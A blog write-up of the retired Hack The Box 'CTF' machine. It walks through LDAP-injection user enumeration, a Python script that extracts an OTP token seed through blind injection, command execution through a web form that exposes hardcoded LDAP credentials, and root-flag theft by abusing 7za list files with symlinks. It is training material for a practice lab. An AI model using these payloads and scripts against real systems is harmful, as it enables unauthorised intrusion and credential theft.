Hack The Box - CTF
Hack The Box - CTF
Quick Summary
Hey guys today CTF retired and here’s my write-up about it. CTF was a very cool box, it had an ldap
injection vulnerability which I have never seen on another box before, and the way of exploiting that vulnerability to gain access was great. A really unique box, I had fun solving it and I hope you have fun too reading my write-up. It’s a Linux box and its ip is 10.10.10.122
, I added it to /etc/hosts
as ctf.htb
. Let’s jump right in !
Nmap
As always we will start with nmap
to scan for open ports and services :
nmap -sV -sT -sC ctf.htb
Only http
on port 80 and ssh
on port 22
HTTP Initial Enumeration
http://ctf.htb
It’s pretty straightforward that we will get banned for 5 minutes if we tried to bruteforce anything, like sub directories for example. It’s also saying that they handle authentication with tokens, There’s a login page so let’s take a look at it.
We need a username and an OTP
(one-time password). An OTP
is time limited which means that even if we could get a valid one it will give us access only once because it expires in a short time (usually 60 seconds). So we need to gain access to a place that generates valid OTP
s or to be able to generate valid OTP
s ourselves. Let’s take a look at the source code of the login page, maybe something is there :
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="/favicon.ico">
<title>CTF login form</title>
<!-- Bootstrap core CSS -->
<link href="/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="cover.css" rel="stylesheet">
</head>
<body class="">
<div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
<header class="masthead mb-auto">
<div class="inner">
<h3 class="masthead-brand">CTF</h3>
<nav class="nav nav-masthead justify-content-center">
<a class="nav-link active" href="/">Home</a>
<a class="nav-link active" href="login.php">Login</a>
</nav>
</div>
</header>
<form action="/login.php" method="post" >
<div class="form-group row">
<div class="col-sm-10">
</div>
</div>
<div class="form-group row">
<label for="inputUsername" class="col-sm-2 col-form-label">Username</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="inputUsename" name="inputUsername" placeholder="Username">
</div>
</div>
<div class="form-group row">
<label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
<div class="col-sm-10">
<input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
<!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
</div>
</div>
<div class="form-group row">
<div class="col-sm-10">
<button type="submit" class="btn btn-primary name="submit" value="Login">Login</button>
</div>
</div>
</form>
<footer class="mastfoot mt-auto text-center">
<div class="inner">
<p><a href="/">CTF</a> by <a href="https://www.hackthebox.eu/home/users/profile/13340" target="_blank">0xEA31</a>. Cover template for <a href="https://getbootstrap.com/">Bootstrap</a>, by <a href="https://twitter.com/mdo">@mdo</a>.</p></div>
</footer>
</div>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="/dist/js/bootstrap.min.js"></script>
</body>
</html>
These comments look interesting :
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
<!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
So now we know that they are using a token to generate the OTP
s, we also know that the length of the token is 81 digits. But I still couldn’t figure out that part about the attribute they’re using to store the token. I decided to bruteforce the username then return to the OTP
thing again.
I know what you’re thinking, how will I bruteforce the username without getting banned ? Well I tried to pass any credentials to see how will the application respond :
Here I noticed 2 things. First thing is that it’s actually telling us if the user exists or not, which means that we can enumerate users. The other thing is that it responded normally with a 200 OK
response, so If the server identifies a bruteforce attack by monitoring how many times an ip causes errors like 404
for example, as long as we are not causing errors we won’t get banned. I gave it a try to see if it will actually work. I used wfuzz
and multiplesources-users-fabian-fingerle.de.txt
from seclists :
root@kali:~/Desktop/HTB/boxes/ctf# wfuzz -c -u http://ctf.htb/login.php -X POST -d "inputUsername=FUZZ&inputOTP=0000" -w ./multiplesources-users-fabian-fingerle.de.txt
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://ctf.htb/login.php
Total requests: 21168
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000007: C=200 68 L 229 W 2810 Ch "!@#%^&*("
000008: C=200 68 L 229 W 2810 Ch "!@#%^&*()"
000010: C=200 68 L 229 W 2810 Ch "*****"
000002: C=200 68 L 229 W 2810 Ch "!@#"
000003: C=200 68 L 229 W 2810 Ch "!@#%"
000004: C=200 68 L 229 W 2810 Ch "!@#%^"
000005: C=200 68 L 229 W 2810 Ch "!@#%^&"
000009: C=200 68 L 233 W 2827 Ch """"
000006: C=200 68 L 229 W 2810 Ch "!@#%^&*"
000001: C=200 68 L 233 W 2826 Ch "-"
000011: C=200 68 L 233 W 2826 Ch "0"
000012: C=200 68 L 233 W 2827 Ch "00"
000021: C=200 68 L 233 W 2835 Ch "0123456789"
000015: C=200 68 L 233 W 2833 Ch "00000000"
000016: C=200 68 L 233 W 2827 Ch "01"
^C
Finishing pending requests...
All “user not found” responses have 233 words so I filtered them :
root@kali:~/Desktop/HTB/boxes/ctf# wfuzz -c --hw 233 -u http://ctf.htb/login.php -X POST -d "inputUsername=FUZZ&inputOTP=0000" -w ./multiplesources-users-fabian-fingerle.de.txt
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://ctf.htb/login.php
Total requests: 21168
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000006: C=200 68 L 229 W 2810 Ch "!@#%^&*"
000003: C=200 68 L 229 W 2810 Ch "!@#%"
000004: C=200 68 L 229 W 2810 Ch "!@#%^"
000005: C=200 68 L 229 W 2810 Ch "!@#%^&"
000007: C=200 68 L 229 W 2810 Ch "!@#%^&*("
000008: C=200 68 L 229 W 2810 Ch "!@#%^&*()"
000002: C=200 68 L 229 W 2810 Ch "!@#"
000010: C=200 68 L 229 W 2810 Ch "*****"
000065: C=200 68 L 229 W 2810 Ch "123456*a"
005121: C=200 68 L 229 W 2810 Ch "Ch4ng3m3!"
005723: C=200 68 L 229 W 2810 Ch "*%Cookie:"
009377: C=200 68 L 229 W 2810 Ch "!!Huawei"
011497: C=200 68 L 231 W 2822 Ch "ldapuser"
011866: C=200 68 L 234 W 2835 Ch "lost+found"
012611: C=200 68 L 233 W 2831 Ch "maurta"^C
Finishing pending requests...
It worked and I didn’t get banned, after some time I got a result which was ldapuser
, that’s weird. I also noticed that payloads that had special characters in them caused different response length. I tried ldapuser
to see what’s the other message :
It was “Cannot login”
Then I tried !@#%^&*
and I got nothing, I just got the login page back again without any messages. I figured out that the username is being used in an ldap
query, and it’s injectable (because of the special chars payloads). Also that existing attribute where the token is stored is an ldap
attribute. With the injection we have we can extract the token and use it to generate valid OTP
s. But because the injection is blind it will be kinda tricky to extract the token.
LDAP Injection
As I said, it’s a blind injection which means that we won’t get any results. But a payload like this : *)(uid=*))(|(uid=*
should result in “Cannot login”. However when I tried it I didn’t get any message, So I tried to URL encode the payload and it worked. So the injection works when the payload is double URL encoded (I only encoded the payload once because the browser automatically encodes POST data). I switched to burp, here are the results :
Request :
POST /login.php HTTP/1.1
Host: ctf.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf.htb/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 190
Cookie: PHPSESSID=sqmpanb3d1uui0pf4uafubv010
Connection: close
Upgrade-Insecure-Requests: 1
inputUsername=%25%32%61%25%32%39%25%32%38%25%37%35%25%36%39%25%36%34%25%33%64%25%32%61%25%32%39%25%32%39%25%32%38%25%37%63%25%32%38%25%37%35%25%36%39%25%36%34%25%33%64%25%32%61&inputOTP=0000
Response :
HTTP/1.1 200 OK
Date: Fri, 19 Jul 2019 17:58:29 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
X-Powered-By: PHP/5.4.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2822
Connection: close
Content-Type: text/html; charset=UTF-8
<!doctype html>
<html lang="en">
---------
Removed
---------
<div class="col-sm-10">
Cannot login </div>
</div>
---------
Removed
---------
Now we need to know which attribute the token is stored in. We know it’s an existing attribute so we just need to choose the right one. I checked ldap
attributes and chose some of them to test (comment
, pager
and info
), the payload will be like this : *)(uid=*))(|(ATTRIBUTE=*
(instead of the second uid
attribute we will use the attribute we are testing). We also know that the token is numeric so we can remove *
and replace it with numeric values from 0 to 9 and monitor the responses (I used burp intruder to do this). So the final payload will be like this : *)(uid=*))(|(ATTRIBUTE=N
. After some testing this payload with the attribute pager
and value of 2 : *)(uid=*))(|(pager=2
resulted in “Cannot login” message. Great so our payload will be *)(uid=*))(|(pager=2N
and we will bruteforce the second number again until we get “Cannot login”. We will keep repeating this until we reach the 81st number, but doing this manually is lame and boring so I wrote a python script.
Exploitation, Token Extraction
I created 3 functions :
-
send_payload
(to send the injection payload and receive the response) -
check_response
(to check whether the response contains “Cannot login” or not) -
exploit
: This function creates a list of numbers from 0 to 9, then by looping through that list it creates the payload which is :%2A%29%28uid%3D%2A%29%29%28%7C%28pager%3D
+ token + number +%2A
(encoded only once because python requests automatically encodes POST data). Then it callssend_payload
andcheck_response
, ifcheck_response
returnedTrue
it adds the valid number to the token.
Then I wrote a while
loop to keep calling exploit()
as long as len(token)
is not 81
extract_token.py
:
#!/usr/bin/python3
import requests
import sys
YELLOW = "\033[93m"
GREEN = "\033[32m"
def send_payload(payload):
post_data = {"inputUsername":payload,"inputOTP":"0000"}
req = requests.post("http://10.10.10.122/login.php",data=post_data)
response = req.text
return response
def check_response(response):
if "Cannot login" in response:
return True
else:
return False
def exploit():
global token
n_list = [n for n in range(10)]
for i in n_list:
payload = "%2A%29%28uid%3D%2A%29%29%28%7C%28pager%3D{}{}%2A".format(token,str(i))
response = send_payload(payload)
if check_response(response):
token+=str(i)
token = ""
print(YELLOW + "[*] Extracting Token")
while len(token) != 81:
exploit()
sys.stdout.write("\r" + YELLOW + "[*] Status : " + token)
sys.stdout.flush()
else :
print(GREEN + "\n[!] Done !")
print(GREEN + "[*] Token : " + token)
It took some minutes to finish and now we have the token :
285449490011357156531651545652335570713167411445727140604172141456711102716717000
I installed stoken
(apt-get install stoken
), Then I imported the token :
stoken import --token 285449490011357156531651545652335570713167411445727140604172141456711102716717000
I didn’t type any password I left it blank. We can either use the cli
or the gui
, for the cli
you have to start stoken
and enter the pin then you will get the OTP
, and for another OTP
you’ll need to start stoken
again.
So I just used the gui
as it’s better :
RCE, User Flag
Let’s login and see what’s there :
%2a%29%28uid%3d%2a%29%29%28%7c%28uid%3d%2a
is *)(uid=*))(|(uid=*
url-encoded.
It redirected me to /page.php
which I can use to execute commands :
I tried whoami
and it worked fine:
I switched to burp to make things easier, I wanted to read /etc/passwd
to know the users :
Request :
POST /page.php HTTP/1.1
Host: ctf.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf.htb/page.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Cookie: PHPSESSID=jj0dlekfhl2pggbo50bg4dkeu0
Connection: close
Upgrade-Insecure-Requests: 1
inputCmd=cat /etc/passwd&inputOTP=52447058
Response :
HTTP/1.1 200 OK
Date: Fri, 19 Jul 2019 21:58:13 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
X-Powered-By: PHP/5.4.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4005
Connection: close
Content-Type: text/html; charset=UTF-8
<!doctype html>
<html lang="en">
<head>
----------------
Removed Output
----------------
<pre>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ldap:x:55:55:OpenLDAP server:/var/lib/ldap:/sbin/nologin
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin
ldapuser:x:1000:1000::/home/ldapuser:/bin/bash
</pre>
----------------
Removed Output
----------------
We can see that ldapuser
is an actual user on the box, I tried to get a reverse shell but for some reason I couldn’t get a reverse shell at all so I started to look in the web files. I was already in the web directory :
inputCmd=pwd&inputOTP=14546713
/var/www/html
I listed the files :
inputCmd=ls -la&inputOTP=14546713
total 36
drwxr-xr-x. 6 root root 176 Oct 23 2018 .
drwxr-xr-x. 4 root root 33 Jun 27 2018 ..
-rw-r--r--. 1 root root 0 Jul 20 00:03 banned.txt
-rw-r-----. 1 root apache 1424 Oct 23 2018 cover.css
drwxr-x--x. 2 root apache 4096 Oct 23 2018 css
drwxr-x--x. 4 root apache 27 Oct 23 2018 dist
-rw-r-----. 1 root apache 2592 Oct 23 2018 index.html
drwxr-x--x. 2 root apache 242 Oct 23 2018 js
-rw-r-----. 1 root apache 5021 Oct 23 2018 login.php
-rw-r-----. 1 root apache 68 Oct 23 2018 logout.php
-rw-r-----. 1 root apache 5245 Oct 23 2018 page.php
-rw-r-----. 1 root apache 2324 Oct 23 2018 status.php
drwxr-x--x. 2 apache apache 6 Oct 23 2018 uploads
I started looking for any hardcoded credentials in the php
files, in login.php
I found credentials for ldapuser
:
inputCmd=cat login.php&inputOTP=04181897
<?php
session_start();
$strErrorMsg="";
$username = 'ldapuser';
$password = 'e398e27d5c4ad45086fe431120932a01';
$basedn = 'dc=ctf,dc=htb';
$usersdn = 'cn=users';
// This code uses the START_TLS command
$ldaphost = "ldap://ctf.htb";
$ldapUsername = "cn=$username";
$ds = ldap_connect($ldaphost);
$dn = "uid=ldapuser,ou=People,dc=ctf,dc=htb";
if (!empty($_POST))
{
//var_dump($_POST);
$username1 = $_POST['inputUsername'];
$OPT1 = $_POST['inputOTP'];
$regex='/[()*&|!=><~]/';
if (!preg_match($regex, $username1)) {
$username2 = urldecode($username1);
if(!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)){
print "Could not set LDAPv3\r\n";
}
else if (!ldap_start_tls($ds)) {
print "Could not start secure TLS connection";
}
else {
// now we need to bind to the ldap server
$bth = ldap_bind($ds, $dn, $password) or die("\r\nCould not connect to LDAP server\r\n");
$filter = "(&(objectClass=inetOrgPerson)(uid=$username2))";
// fix to be sure that the user has a token string in the db. Without it you can bypass the OTP check with no token in the input form!
$filter = "(&(&(objectClass=inetOrgPerson)(uid=$username2))(pager=*))";
//echo $filter.PHP_EOL;
if ($search=@ldap_search($ds, $basedn, $filter)) {
$info = ldap_get_entries($ds, $search);
if($info["count"] > 0) {
$token_string = $info[0]['pager'][0];
//echo $token_string;
$token = exec("/usr/bin/stoken --token=$token_string --pin=0000");
if($token == $OPT1) {
$strErrorMsg = "Login ok";
$_SESSION['username'] = $username1;
header ('Location: /page.php');
}
else {
$strErrorMsg = "Cannot login";
}
}
else {
$strErrorMsg = "User $username1 not found";
}
}
}
}
}
?>
ldapuser : e398e27d5c4ad45086fe431120932a01
ssh
:
We owned user.
7z List Files and Wildcards, Root Flag
Before enumerating anything I just checked the directories and stuff like that, in /
I saw a directory called backup
[ldapuser@ctf /]$ ls -al
total 32
dr-xr-xr-x. 18 root root 238 Jul 31 2018 .
dr-xr-xr-x. 18 root root 238 Jul 31 2018 ..
drwxr-xr-x. 2 root root 4096 Jul 20 00:07 backup
lrwxrwxrwx. 1 root root 7 Jul 30 2018 bin -> usr/bin
dr-xr-xr-x. 5 root root 4096 Oct 16 2018 boot
drwxr-xr-x. 20 root root 3180 Jul 19 23:34 dev
drwxr-xr-x. 90 root root 8192 Dec 9 2018 etc
drwxr-xr-x. 3 root root 22 Jul 30 2018 home
lrwxrwxrwx. 1 root root 7 Jul 30 2018 lib -> usr/lib
lrwxrwxrwx. 1 root root 9 Jul 30 2018 lib64 -> usr/lib64
drwxr-xr-x. 2 root root 6 Apr 11 2018 media
drwxr-xr-x. 2 root root 6 Apr 11 2018 mnt
drwxr-xr-x. 3 root root 16 Jul 30 2018 opt
dr-xr-xr-x. 119 root root 0 Jul 19 23:33 proc
dr-xr-x---. 7 root root 4096 Dec 9 2018 root
drwxr-xr-x. 31 root root 920 Jul 19 23:34 run
lrwxrwxrwx. 1 root root 8 Jul 30 2018 sbin -> usr/sbin
drwxr-xr-x. 2 root root 6 Apr 11 2018 srv
dr-xr-xr-x. 13 root root 0 Jul 19 23:34 sys
drwxrwxrwt. 10 root root 4096 Jul 20 00:06 tmp
drwxr-xr-x. 13 root root 155 Jul 30 2018 usr
drwxr-xr-x. 21 root root 4096 Jul 30 2018 var
[ldapuser@ctf /]$
It had a lot of archives, an error log and a script called honeypot.sh
:
[ldapuser@ctf backup]$ ls -al
total 52
drwxr-xr-x. 2 root root 4096 Jul 20 00:07 .
dr-xr-xr-x. 18 root root 238 Jul 31 2018 ..
-rw-r--r--. 1 root root 32 Jul 19 23:57 backup.1563573421.zip
-rw-r--r--. 1 root root 32 Jul 19 23:58 backup.1563573481.zip
-rw-r--r--. 1 root root 32 Jul 19 23:59 backup.1563573541.zip
-rw-r--r--. 1 root root 32 Jul 20 00:00 backup.1563573602.zip
-rw-r--r--. 1 root root 32 Jul 20 00:01 backup.1563573661.zip
-rw-r--r--. 1 root root 32 Jul 20 00:02 backup.1563573721.zip
-rw-r--r--. 1 root root 32 Jul 20 00:03 backup.1563573781.zip
-rw-r--r--. 1 root root 32 Jul 20 00:04 backup.1563573841.zip
-rw-r--r--. 1 root root 32 Jul 20 00:05 backup.1563573901.zip
-rw-r--r--. 1 root root 32 Jul 20 00:06 backup.1563573961.zip
-rw-r--r--. 1 root root 32 Jul 20 00:07 backup.1563574022.zip
-rw-r--r--. 1 root root 0 Jul 20 00:07 error.log
-rwxr--r--. 1 root root 975 Oct 23 2018 honeypot.sh
[ldapuser@ctf backup]$
honeypot.sh
:
[ldapuser@ctf backup]$ cat honeypot.sh
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt
# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')
# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f
# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# cleaup the honeypot
rm -rf -- *
# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
[ldapuser@ctf backup]$
Obviously this script runs from time to time to backup files, also it’s running as root. I didn’t check cronjobs or use pspy
, it was obvious since it’s accessing /root/root.txt
to create the password and only root can access that.
Basically one of the things that this script is doing is that it’s backing up all the files in /var/www/html/uploads
by using 7za
to put all the uploads in one archive. Let’s look at the command again :
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
It’s using the wildcard asterisk (*
) to get all files. This means that if we can write to /var/www/html/uploads
our file will be included in the command. If we can create a malicious file name then we can somehow manipulate the 7za
command.
It’s also using this option : -snl
, I checked the manual page for 7za
:
-snl Store symbolic links as links
Note that we can’t unzip the created backups, so even if we created a symlink to root.txt
in /var/www/html/uploads
we won’t be able to read it because the archive is password protected. The only way to actually get anything is through the error log, we need to cause an error that somehow leaks the flag.
After searching for some time I found this page which talks about a feature in 7z
called list files. I thought if I created 2 files, root.txt
and @root.txt
, root.txt
is a symlink
to /root/root.txt
, when the command is executed and gets to @root.txt
it will treat that as a list file option then it will search for root.txt
to use it as a list file. However that file isn’t a real list file (that may cause an error), also it’s a symlink
to /root/root.txt
.
I went to /var/www/html/uploads
and I didn’t even have read access.
[ldapuser@ctf backup]$ cd /var/www/html/uploads/
[ldapuser@ctf uploads]$ ls -al
ls: cannot open directory .: Permission denied
[ldapuser@ctf uploads]$
so I went back to the RCE
requests in burp and tried as apache
.
I created a symlink
to /root/root.txt
as root.txt
:
inputCmd=ln -s /root/root.txt uploads/root.txt&inputOTP=91913130
Then I created an empty file and called it @root.txt
:
inputCmd=touch uploads/@root.txt&inputOTP=91913130
Let’s check the directory listing now :
inputCmd=ls -la uploads&inputOTP=91913130
total 0
drwxr-x--x. 2 apache apache 39 Jul 20 01:12 .
drwxr-xr-x. 6 root root 176 Oct 23 2018 ..
-rw-r--r--. 1 apache apache 0 Jul 20 01:12 @root.txt
lrwxrwxrwx. 1 apache apache 14 Jul 20 01:12 root.txt -> /root/root.txt
Everything is fine let’s check the error log :
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Friendzone
Next Hack The Box write-up : Hack The Box - LaCasaDePapel